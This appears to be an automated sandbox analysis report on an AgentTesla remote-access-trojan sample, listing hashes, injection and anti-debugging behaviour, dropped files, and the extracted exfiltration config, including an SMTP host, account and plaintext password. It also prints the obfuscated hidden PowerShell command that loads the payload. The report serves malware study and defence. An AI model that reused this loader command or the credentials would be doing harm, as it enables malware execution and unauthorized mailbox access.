Analysis
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max time kernel
213s -
max time network
236s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system -
submitted
17-04-2024 12:48
Static task
static1
Behavioral task
behavioral1
Sample
8e9fea5458c969eaf662771d87e2e9d2487e904e5dbeea5d90fc7e44369c3f95.exe
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
8e9fea5458c969eaf662771d87e2e9d2487e904e5dbeea5d90fc7e44369c3f95.exe
Resource
win10v2004-20240412-en
Behavioral task
behavioral3
Sample
Paleolimnology/ansgningsfristernes/Dishonorables/Sweety64.ps1
Resource
win7-20240221-en
Behavioral task
behavioral4
Sample
Paleolimnology/ansgningsfristernes/Dishonorables/Sweety64.ps1
Resource
win10v2004-20240226-en
General
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Target
8e9fea5458c969eaf662771d87e2e9d2487e904e5dbeea5d90fc7e44369c3f95.exe
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Size
593KB
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MD5
3cb7a144c3a7d35a77044c167749f84d
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SHA1
23e83390e052b0ce98e5446768a18cf06669b57d
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SHA256
8e9fea5458c969eaf662771d87e2e9d2487e904e5dbeea5d90fc7e44369c3f95
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SHA512
09b7b80dcea62ad01e7338ff2ff37f24938457994f93658ddc9d10c4b8b847da7dc67f6f647821ced3ad4f2277f291ffc7510ade550001f30d88327bf8ae4035
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SSDEEP
6144:LoGzI1X9PZVheNA+ff0RUt3vCKIH2nqoejh4q/tjkshlTqleM97CtzrwalKI8J2x:LbSnhe2eGUt/jnqrZ1hlTpMVklxVtqev
Malware Config
Extracted
agenttesla
Protocol: smtp- Host:
mail.melanopharma.com - Port:
587 - Username:
[email protected] - Password:
melano@2022 - Email To:
[email protected]
Signatures
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AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
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Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 3 drive.google.com 5 drive.google.com -
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
pid Process 2064 wab.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 2876 powershell.exe 2064 wab.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 2876 set thread context of 2064 2876 powershell.exe 33 -
Drops file in Program Files directory 1 IoCs
description ioc Process File opened for modification C:\Program Files (x86)\Bejdsen70\woody.ini 8e9fea5458c969eaf662771d87e2e9d2487e904e5dbeea5d90fc7e44369c3f95.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 10 IoCs
pid Process 2876 powershell.exe 2876 powershell.exe 2876 powershell.exe 2876 powershell.exe 2876 powershell.exe 2876 powershell.exe 2876 powershell.exe 2876 powershell.exe 2064 wab.exe 2064 wab.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
pid Process 2876 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 2876 powershell.exe Token: SeDebugPrivilege 2064 wab.exe -
Suspicious use of WriteProcessMemory 14 IoCs
description pid Process procid_target PID 2700 wrote to memory of 2876 2700 8e9fea5458c969eaf662771d87e2e9d2487e904e5dbeea5d90fc7e44369c3f95.exe 29 PID 2700 wrote to memory of 2876 2700 8e9fea5458c969eaf662771d87e2e9d2487e904e5dbeea5d90fc7e44369c3f95.exe 29 PID 2700 wrote to memory of 2876 2700 8e9fea5458c969eaf662771d87e2e9d2487e904e5dbeea5d90fc7e44369c3f95.exe 29 PID 2700 wrote to memory of 2876 2700 8e9fea5458c969eaf662771d87e2e9d2487e904e5dbeea5d90fc7e44369c3f95.exe 29 PID 2876 wrote to memory of 1280 2876 powershell.exe 31 PID 2876 wrote to memory of 1280 2876 powershell.exe 31 PID 2876 wrote to memory of 1280 2876 powershell.exe 31 PID 2876 wrote to memory of 1280 2876 powershell.exe 31 PID 2876 wrote to memory of 2064 2876 powershell.exe 33 PID 2876 wrote to memory of 2064 2876 powershell.exe 33 PID 2876 wrote to memory of 2064 2876 powershell.exe 33 PID 2876 wrote to memory of 2064 2876 powershell.exe 33 PID 2876 wrote to memory of 2064 2876 powershell.exe 33 PID 2876 wrote to memory of 2064 2876 powershell.exe 33
Processes
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C:\Users\Admin\AppData\Local\Temp\8e9fea5458c969eaf662771d87e2e9d2487e904e5dbeea5d90fc7e44369c3f95.exe"C:\Users\Admin\AppData\Local\Temp\8e9fea5458c969eaf662771d87e2e9d2487e904e5dbeea5d90fc7e44369c3f95.exe"1⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:2700 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell" -windowstyle hidden "$Uigennemskydelig=Get-Content 'C:\Users\Admin\AppData\Roaming\strbt\fragtrate\Alcaydes\Paleolimnology\ansgningsfristernes\Dishonorables\Sweety64.Sch';$Taknemligeres=$Uigennemskydelig.SubString(5985,3);.$Taknemligeres($Uigennemskydelig)"2⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2876 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "set /A 1^^0"3⤵PID:1280
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C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe"3⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2064
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Roaming\strbt\fragtrate\Alcaydes\Paleolimnology\ansgningsfristernes\Dishonorables\Sweety64.Sch
Filesize61KB
MD5e5c2dca2119f3e664238f0f51539dbb5
SHA124fc5d8ac634d19acafbf78852482014c052f996
SHA256b3f8b29f9da552c657a02fbadad0745e365ea1d548fe22ddbfb3e9450eb29837
SHA512458178c3e2f344a9f28a505c870667d5f3387c7cdd0b6cde22ff428e460b2d433f2653b7516fc5698837e41a635e31f2f59564a33631e938b0801749c6f7b7a6
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C:\Users\Admin\AppData\Roaming\strbt\fragtrate\Alcaydes\Paleolimnology\ansgningsfristernes\Dishonorables\Villainies.tra
Filesize332KB
MD5eb365e5cf4a8ec7a8d968bc1792b4e4d
SHA189c52f3670452362ff4da8f23de870c0ef01bb82
SHA256059a2053042b469979f5755161c39bd951d44b697fb74286b33a36f2f59d7591
SHA512fa76a7fb167595d605ab78665403e2a2bace07da26bbe601093d553980c53cd46a6b624f888ce184059a021dccdf59fb36e20ae234bb20c1dca61906c1ba49b1